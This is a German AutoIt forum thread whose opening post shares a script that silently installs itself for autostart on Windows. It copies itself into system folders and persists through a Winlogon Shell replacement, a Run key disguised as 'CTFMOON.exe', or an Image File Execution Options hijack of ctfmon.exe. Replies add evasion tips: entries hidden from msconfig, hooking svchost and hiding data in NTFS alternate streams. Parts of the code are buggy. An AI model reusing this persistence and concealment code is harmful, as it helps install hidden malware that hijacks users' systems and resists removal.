"Autostart"

  • Hi leute,
    hab ma einfach so ein Programm erstellt, das sich einfach "Variabel" in die Registry einträgt um so gestartet zu werden... :rofl:
    Ist auch gut für eine Kindersicherung oder ähnliches...
    Einfach ma angucken aber am besten nich am eigenen System probieren :D ist halt "Beta" ...
    Es ist auch sehr einfach erweiterbar :rock:

    [autoit]


    #RequireAdmin
    #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
    #AutoIt3Wrapper_UseX64=n
    #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
    If @Compiled Then
    #NoTrayIcon
    EndIf

    [/autoit][autoit][/autoit][autoit]

    ;;;;Variablen;;;;;
    Global Const $Version_Programm = 1.2
    Global Const $Reg_Debuging_Key = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options'
    Global Const $Reg_Shell_Key = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon' ;Shell Key Stdwert: Explorer.exe
    Global Const $Reg_Version_Key = 'HKEY_LOCAL_MACHINE\SOFTWARE\mainstart'
    Global Const $Reg_Run_Key = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run'
    Global $Random_Pfad = ''

    [/autoit][autoit][/autoit][autoit]

    ;;Prüfung ob schon Installiert;;
    If Not RegRead($Reg_Version_Key, 'Version') =< $Version_Programm Then
    Install(Random(1, 3, 1))
    Else
    ;Schon Installiert;
    $InstallationsVariante = RegRead($Reg_Version_Key, 'Installationsart')

    [/autoit][autoit][/autoit][autoit]

    ;Commandline Generation;
    $Command = ''
    If $CMDline[0] <> 0 Then
    beep()
    For $i = 1 To $CMDline[0]
    $Command &= $CMDline[$i]
    Next
    EndIf

    [/autoit][autoit][/autoit][autoit]

    ;;Auswertung;;
    Select
    Case $InstallationsVariante = 1
    ;Explorer.exe Starten;
    RegWrite ($Reg_Shell_Key,'Shell','REG_SZ','Explorer.exe')
    Run(@WindowsDir & '\Explorer.exe ' & $Command)
    sleep(1000)
    RegWrite ($Reg_Shell_Key,'Shell','REG_SZ',RegRead($Reg_Version_Key, 'Pfad'))
    Hauptteil()

    [/autoit][autoit][/autoit][autoit]

    Case $InstallationsVariante = 2
    ;Autostarteintrag;
    Hauptteil()
    Case $InstallationsVariante = 3
    ;Debugging von CTFMON.exe;
    Hauptteil()
    EndSelect

    [/autoit][autoit][/autoit][autoit]

    EndIf

    [/autoit][autoit][/autoit][autoit]

    Func Hauptteil()
    ;Eigendlicher Code hier;
    msgbox (0,'(=','Hallo Welt')
    Beep()
    EndFunc ;==>MAIN

    [/autoit][autoit][/autoit][autoit]

    Func Install($InstallationsVariante) ;Installiert den Code auf verschiedene Arten
    Random_Pfad(Random(1, 3, 1)) ;;;Variablen Pfad erstellen;;;
    ;;;Ausgabe;;;
    ConsoleWrite("Installationsart : " & $InstallationsVariante & @CRLF)
    ConsoleWrite("Installations Pfad : " & $Random_Pfad & @CRLF)
    Sleep(1000)
    ;;;Arbeitsabschnitt;;;
    Standart_Installations_Schritte($InstallationsVariante)
    Select
    Case $InstallationsVariante = 1
    ;Varinate 1 : explorer.exe ersetzen und alle Anfragen umleiten
    RegWrite($Reg_Shell_Key, 'Shell', 'REG_SZ', $Random_Pfad)

    [/autoit][autoit][/autoit][autoit]

    Case $InstallationsVariante = 2
    ;Variante 2 : Autostart eintrag
    $Key_Name = 'CTFMOON.exe'
    msgbox (0,$i,$Key_Name)
    RegWrite($Reg_Run_Key, $Key_Name, 'REG_SZ', $Random_Pfad)

    [/autoit][autoit][/autoit][autoit]

    Case $InstallationsVariante = 3
    ;CTFMON.exe Debuggen;
    RegWrite ($Reg_Debuging_Key,'ctfmon.exe')
    RegWrite ($Reg_Debuging_Key&'\ctfmon.exe','REG_SZ',$Random_Pfad)
    EndSelect
    EndFunc ;==>Install

    [/autoit][autoit][/autoit][autoit]

    Func Standart_Installations_Schritte($InstallationsVariante)
    FileCopy(@ScriptFullPath, $Random_Pfad)
    RegWrite($Reg_Version_Key) ;Schlüssel erstellen
    RegWrite($Reg_Version_Key, 'Installationsart', 'REG_SZ', $InstallationsVariante) ;Installationsart
    RegWrite($Reg_Version_Key, 'Version', 'REG_SZ', $Version_Programm) ;Programmversion
    RegWrite($Reg_Version_Key, 'Pfad', 'REG_SZ', $Random_Pfad) ;Pfad zur mainstart.exe
    EndFunc ;==>Standart_Installations_Schritte

    [/autoit][autoit][/autoit][autoit]

    Func Random_Pfad($InstallationsPfad) ;;;Erstellt einen Variablen Pfad;;;
    Select
    Case $InstallationsPfad = 1
    ;;;System32\mainstart.exe;;;
    $Random_Pfad = @SystemDir & '\mainstart.exe'

    [/autoit][autoit][/autoit][autoit]

    Case $InstallationsPfad = 2
    ;;;Windows\mainstart.exe;;;
    $Random_Pfad = @WindowsDir & '\mainstart.exe'

    [/autoit][autoit][/autoit][autoit]

    Case $InstallationsPfad = 3
    ;;;Homedrive\mainstart.exe;;;
    $Random_Pfad = @HomeDrive & '\mainstart.exe'

    [/autoit][autoit][/autoit][autoit]

    EndSelect
    EndFunc ;==>Random_Pfad

    [/autoit]


    lg Pceumel

  • Ich finds cool, kann man bestimmt irgendwann, irgendwo einbringen.

    Ist auch gut für eine Kindersicherung oder ähnliches...

    ... oder Viren und/oder Trojaner.^^

    eine Frage habe ich aber: Wie bekommt man das programm nun aus der Registry? Oder soll man das nicht.... :rofl:

    mfg
    hauke96

  • Zitat

    eine Frage habe ich aber: Wie bekommt man das programm nun aus der Registry? Oder soll man das nicht.... :rofl:


    Naja, du kannst es manuell mit dem Registry Editor entfernen (Run -> "regedit" -> Enter). Oder du machst einen Uninstaller mit AutoIt der die entsprechenden Änderungen des Programms wieder rückgängig macht.

  • Du kannst "versteckte" einträge in der system.ini setzen
    genauso wie windows batch datein zu "erweitern" oder
    in der reg HKLM\Sotware\Microsoft\Windows\CurrentVersion\Polices
    einen Schlüssel erstellen der sogar vor msconfig unsichtbar ist
    o.ä.^^ Dich an svhost.exe "ranhooken" bzw deine Daten
    in einen Hidden NTFS stream schreiben :DD

    -

  • Du kannst "versteckte" einträge in der system.ini setzen
    genauso wie windows batch datein zu "erweitern" oder
    in der reg HKLM\Sotware\Microsoft\Windows\CurrentVersion\Polices
    einen Schlüssel erstellen der sogar vor msconfig unsichtbar ist
    o.ä.^^ Dich an svhost.exe "ranhooken" bzw deine Daten
    in einen Hidden NTFS stream schreiben :DD


    Also:
    Hooken hab ich schonmal (war zu faul das hier auch zu tun :P )
    NTFS is alt :D das erkennt jeder 8o